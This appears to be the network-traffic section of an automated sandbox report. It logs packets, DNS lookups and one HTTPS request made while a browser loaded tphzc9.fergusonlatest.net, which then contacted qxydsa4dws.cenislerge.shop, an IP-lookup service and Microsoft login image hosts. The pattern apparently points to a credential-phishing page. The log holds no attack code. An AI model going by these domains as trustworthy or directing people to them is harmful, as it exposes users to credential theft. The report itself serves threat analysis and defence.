Dec 12, 2024 12:09:06.062939882 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.114093065 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.228554010 CET	443	50073	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.228626013 CET	443	50073	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.228679895 CET	50073	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.228696108 CET	443	50073	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.228746891 CET	50073	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.314367056 CET	50073	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.314393044 CET	443	50073	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.584017992 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.627614021 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.627629995 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.627648115 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.627656937 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.627662897 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.627677917 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.627710104 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.627737045 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.627746105 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.627765894 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.676512003 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.817987919 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.818001986 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.818067074 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.818078995 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.818089008 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.818125010 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.818135023 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.818146944 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.818224907 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.865748882 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.865761042 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.865791082 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.865817070 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.865849972 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.865861893 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.865891933 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.989350080 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.989372015 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.989425898 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.989450932 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:06.989479065 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:06.989491940 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.023993015 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.024010897 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.024063110 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.024072886 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.024099112 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.024113894 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.036767960 CET	443	50078	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:07.037022114 CET	50078	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:07.037045002 CET	443	50078	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:07.037498951 CET	443	50078	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:07.037796974 CET	50078	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:07.037887096 CET	443	50078	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:07.037944078 CET	50078	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:07.037945032 CET	50078	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:07.047720909 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.047749996 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.047775984 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.047784090 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.047818899 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.068928957 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.068948984 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.069005013 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.069013119 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.069057941 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.083337069 CET	443	50078	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:07.168384075 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.168409109 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.168493032 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.168513060 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.168555975 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.187561989 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.187582016 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.187644958 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.187659979 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.187674999 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.187705994 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.202974081 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.202991009 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.203073978 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.203099012 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.203145981 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.216216087 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.216248035 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.216300011 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.216306925 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.216348886 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.222297907 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.222381115 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.222388029 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.222404003 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.222455978 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.222574949 CET	50074	443	192.168.2.4	152.199.21.175
Dec 12, 2024 12:09:07.222585917 CET	443	50074	152.199.21.175	192.168.2.4
Dec 12, 2024 12:09:07.625031948 CET	443	50078	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:07.625168085 CET	443	50078	209.74.95.101	192.168.2.4
Dec 12, 2024 12:09:07.625222921 CET	50078	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:07.625659943 CET	50078	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:09:07.625684977 CET	443	50078	209.74.95.101	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 12:06:13.205657959 CET	64062	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:13.205804110 CET	49950	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:13.342591047 CET	53	58922	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:13.489227057 CET	53	58121	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:13.494714022 CET	53	49950	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:13.495536089 CET	53	64062	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:13.537717104 CET	54811	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:13.538029909 CET	56549	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:13.675633907 CET	53	54811	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:13.676676035 CET	53	56549	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:16.324379921 CET	53	62175	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:17.119257927 CET	53035	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:17.119385958 CET	51241	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:17.257626057 CET	53	53035	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:17.257635117 CET	53	51241	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:17.321439981 CET	62743	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:17.321871042 CET	60371	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:18.112744093 CET	53	60371	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:18.112785101 CET	53	62743	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:18.452423096 CET	61202	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:20.509119034 CET	50473	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:20.509315968 CET	63146	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:20.646898985 CET	53	50473	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:20.646989107 CET	53	63146	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:22.975251913 CET	53835	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:23.094531059 CET	62271	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:06:23.232053041 CET	53	62271	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:28.495887041 CET	53	60030	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:28.827455997 CET	138	138	192.168.2.4	192.168.2.255
Dec 12, 2024 12:06:31.022449970 CET	53	59510	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:33.325835943 CET	53	54459	1.1.1.1	192.168.2.4
Dec 12, 2024 12:06:52.352089882 CET	53	54814	1.1.1.1	192.168.2.4
Dec 12, 2024 12:07:12.712994099 CET	53	55615	1.1.1.1	192.168.2.4
Dec 12, 2024 12:07:14.785485983 CET	53	50703	1.1.1.1	192.168.2.4
Dec 12, 2024 12:07:44.646805048 CET	53	57690	1.1.1.1	192.168.2.4
Dec 12, 2024 12:08:29.722804070 CET	53	61591	1.1.1.1	192.168.2.4
Dec 12, 2024 12:08:51.448791027 CET	54069	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:08:51.449120045 CET	52482	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:08:51.662230968 CET	53	52482	1.1.1.1	192.168.2.4
Dec 12, 2024 12:08:51.674741030 CET	53	54069	1.1.1.1	192.168.2.4
Dec 12, 2024 12:08:53.732386112 CET	54877	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:08:53.732534885 CET	58094	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:08:53.870075941 CET	53	54877	1.1.1.1	192.168.2.4
Dec 12, 2024 12:08:53.873935938 CET	53	58094	1.1.1.1	192.168.2.4
Dec 12, 2024 12:08:56.094257116 CET	64792	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:08:56.094423056 CET	55445	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:08:56.231740952 CET	53	64792	1.1.1.1	192.168.2.4
Dec 12, 2024 12:08:56.233123064 CET	53	55445	1.1.1.1	192.168.2.4
Dec 12, 2024 12:09:01.148853064 CET	61851	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:09:01.148993015 CET	61532	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:09:03.796439886 CET	56759	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:09:03.796663046 CET	61295	53	192.168.2.4	1.1.1.1
Dec 12, 2024 12:09:04.257461071 CET	53	65184	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 12, 2024 12:06:13.495609999 CET	192.168.2.4	1.1.1.1	c25f	(Port unreachable)	Destination Unreachable
Dec 12, 2024 12:06:23.232131004 CET	192.168.2.4	1.1.1.1	c24e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 12:06:13.205657959 CET	192.168.2.4	1.1.1.1	0x889f	Standard query (0)	tphzc9.fergusonlatest.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.205804110 CET	192.168.2.4	1.1.1.1	0xbf97	Standard query (0)	tphzc9.fergusonlatest.net	65	IN (0x0001)	false
Dec 12, 2024 12:06:13.537717104 CET	192.168.2.4	1.1.1.1	0x31f1	Standard query (0)	tphzc9.fergusonlatest.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.538029909 CET	192.168.2.4	1.1.1.1	0xbebc	Standard query (0)	tphzc9.fergusonlatest.net	65	IN (0x0001)	false
Dec 12, 2024 12:06:17.119257927 CET	192.168.2.4	1.1.1.1	0xd392	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:17.119385958 CET	192.168.2.4	1.1.1.1	0x6eb8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 12, 2024 12:06:17.321439981 CET	192.168.2.4	1.1.1.1	0xba5c	Standard query (0)	qxydsa4dws.cenislerge.shop	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:17.321871042 CET	192.168.2.4	1.1.1.1	0x87c1	Standard query (0)	qxydsa4dws.cenislerge.shop	65	IN (0x0001)	false
Dec 12, 2024 12:06:18.452423096 CET	192.168.2.4	1.1.1.1	0x51ee	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:20.509119034 CET	192.168.2.4	1.1.1.1	0xfff5	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:20.509315968 CET	192.168.2.4	1.1.1.1	0x7ee4	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Dec 12, 2024 12:06:22.975251913 CET	192.168.2.4	1.1.1.1	0x9c30	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:23.094531059 CET	192.168.2.4	1.1.1.1	0x3d0f	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Dec 12, 2024 12:08:51.448791027 CET	192.168.2.4	1.1.1.1	0x9e39	Standard query (0)	qxydsa4dws.cenislerge.shop	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:08:51.449120045 CET	192.168.2.4	1.1.1.1	0x9939	Standard query (0)	qxydsa4dws.cenislerge.shop	65	IN (0x0001)	false
Dec 12, 2024 12:08:53.732386112 CET	192.168.2.4	1.1.1.1	0xe9e4	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:08:53.732534885 CET	192.168.2.4	1.1.1.1	0x969d	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Dec 12, 2024 12:08:56.094257116 CET	192.168.2.4	1.1.1.1	0x3393	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:08:56.094423056 CET	192.168.2.4	1.1.1.1	0x82b7	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Dec 12, 2024 12:09:01.148853064 CET	192.168.2.4	1.1.1.1	0xcd1f	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:01.148993015 CET	192.168.2.4	1.1.1.1	0xdf35	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false
Dec 12, 2024 12:09:03.796439886 CET	192.168.2.4	1.1.1.1	0x8ba6	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:03.796663046 CET	192.168.2.4	1.1.1.1	0x2ac4	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 12:06:13.494714022 CET	1.1.1.1	192.168.2.4	0xbf97	No error (0)	tphzc9.fergusonlatest.net			65	IN (0x0001)	false
Dec 12, 2024 12:06:13.495536089 CET	1.1.1.1	192.168.2.4	0x889f	No error (0)	tphzc9.fergusonlatest.net		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.495536089 CET	1.1.1.1	192.168.2.4	0x889f	No error (0)	tphzc9.fergusonlatest.net		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.495536089 CET	1.1.1.1	192.168.2.4	0x889f	No error (0)	tphzc9.fergusonlatest.net		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.495536089 CET	1.1.1.1	192.168.2.4	0x889f	No error (0)	tphzc9.fergusonlatest.net		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.495536089 CET	1.1.1.1	192.168.2.4	0x889f	No error (0)	tphzc9.fergusonlatest.net		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.495536089 CET	1.1.1.1	192.168.2.4	0x889f	No error (0)	tphzc9.fergusonlatest.net		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.495536089 CET	1.1.1.1	192.168.2.4	0x889f	No error (0)	tphzc9.fergusonlatest.net		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.675633907 CET	1.1.1.1	192.168.2.4	0x31f1	No error (0)	tphzc9.fergusonlatest.net		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.675633907 CET	1.1.1.1	192.168.2.4	0x31f1	No error (0)	tphzc9.fergusonlatest.net		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.675633907 CET	1.1.1.1	192.168.2.4	0x31f1	No error (0)	tphzc9.fergusonlatest.net		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.675633907 CET	1.1.1.1	192.168.2.4	0x31f1	No error (0)	tphzc9.fergusonlatest.net		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.675633907 CET	1.1.1.1	192.168.2.4	0x31f1	No error (0)	tphzc9.fergusonlatest.net		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.675633907 CET	1.1.1.1	192.168.2.4	0x31f1	No error (0)	tphzc9.fergusonlatest.net		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.675633907 CET	1.1.1.1	192.168.2.4	0x31f1	No error (0)	tphzc9.fergusonlatest.net		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:13.676676035 CET	1.1.1.1	192.168.2.4	0xbebc	No error (0)	tphzc9.fergusonlatest.net			65	IN (0x0001)	false
Dec 12, 2024 12:06:17.257626057 CET	1.1.1.1	192.168.2.4	0xd392	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:17.257635117 CET	1.1.1.1	192.168.2.4	0x6eb8	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 12, 2024 12:06:18.112785101 CET	1.1.1.1	192.168.2.4	0xba5c	No error (0)	qxydsa4dws.cenislerge.shop		209.74.95.101	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:18.590698957 CET	1.1.1.1	192.168.2.4	0x51ee	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:06:20.366120100 CET	1.1.1.1	192.168.2.4	0x303d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:20.366120100 CET	1.1.1.1	192.168.2.4	0x303d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:20.646898985 CET	1.1.1.1	192.168.2.4	0xfff5	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:06:20.646898985 CET	1.1.1.1	192.168.2.4	0xfff5	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:20.646898985 CET	1.1.1.1	192.168.2.4	0xfff5	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:20.646898985 CET	1.1.1.1	192.168.2.4	0xfff5	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:20.646898985 CET	1.1.1.1	192.168.2.4	0xfff5	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:06:20.646989107 CET	1.1.1.1	192.168.2.4	0x7ee4	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:06:23.112751961 CET	1.1.1.1	192.168.2.4	0x9c30	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:06:23.232053041 CET	1.1.1.1	192.168.2.4	0x3d0f	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:08:51.674741030 CET	1.1.1.1	192.168.2.4	0x9e39	No error (0)	qxydsa4dws.cenislerge.shop		209.74.95.101	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:08:53.870075941 CET	1.1.1.1	192.168.2.4	0xe9e4	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:08:53.870075941 CET	1.1.1.1	192.168.2.4	0xe9e4	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:08:53.870075941 CET	1.1.1.1	192.168.2.4	0xe9e4	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:08:53.873935938 CET	1.1.1.1	192.168.2.4	0x969d	No error (0)	api.ipify.org			65	IN (0x0001)	false
Dec 12, 2024 12:08:56.231740952 CET	1.1.1.1	192.168.2.4	0x3393	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:08:56.231740952 CET	1.1.1.1	192.168.2.4	0x3393	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:08:56.231740952 CET	1.1.1.1	192.168.2.4	0x3393	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:08:56.233123064 CET	1.1.1.1	192.168.2.4	0x82b7	No error (0)	api.ipify.org			65	IN (0x0001)	false
Dec 12, 2024 12:09:01.291686058 CET	1.1.1.1	192.168.2.4	0xdf35	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:01.291686058 CET	1.1.1.1	192.168.2.4	0xdf35	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:01.294048071 CET	1.1.1.1	192.168.2.4	0xcd1f	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:01.294048071 CET	1.1.1.1	192.168.2.4	0xcd1f	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:01.294048071 CET	1.1.1.1	192.168.2.4	0xcd1f	No error (0)	sni1gl.wpc.upsiloncdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:03.934531927 CET	1.1.1.1	192.168.2.4	0x8ba6	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:03.934531927 CET	1.1.1.1	192.168.2.4	0x8ba6	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:03.934531927 CET	1.1.1.1	192.168.2.4	0x8ba6	No error (0)	sni1gl.wpc.upsiloncdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:03.934848070 CET	1.1.1.1	192.168.2.4	0x2ac4	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:03.934848070 CET	1.1.1.1	192.168.2.4	0x2ac4	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:04.446882010 CET	1.1.1.1	192.168.2.4	0x5f49	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:04.446882010 CET	1.1.1.1	192.168.2.4	0x5f49	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:07.021887064 CET	1.1.1.1	192.168.2.4	0xb27b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 12:09:07.021887064 CET	1.1.1.1	192.168.2.4	0xb27b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tphzc9.fergusonlatest.net

https:

qxydsa4dws.cenislerge.shop

cdn.jsdelivr.net

api.ipify.org

aadcdn.msauthimages.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	104.21.96.1	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:06:16 UTC	668	OUT	GET / HTTP/1.1 Host: tphzc9.fergusonlatest.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
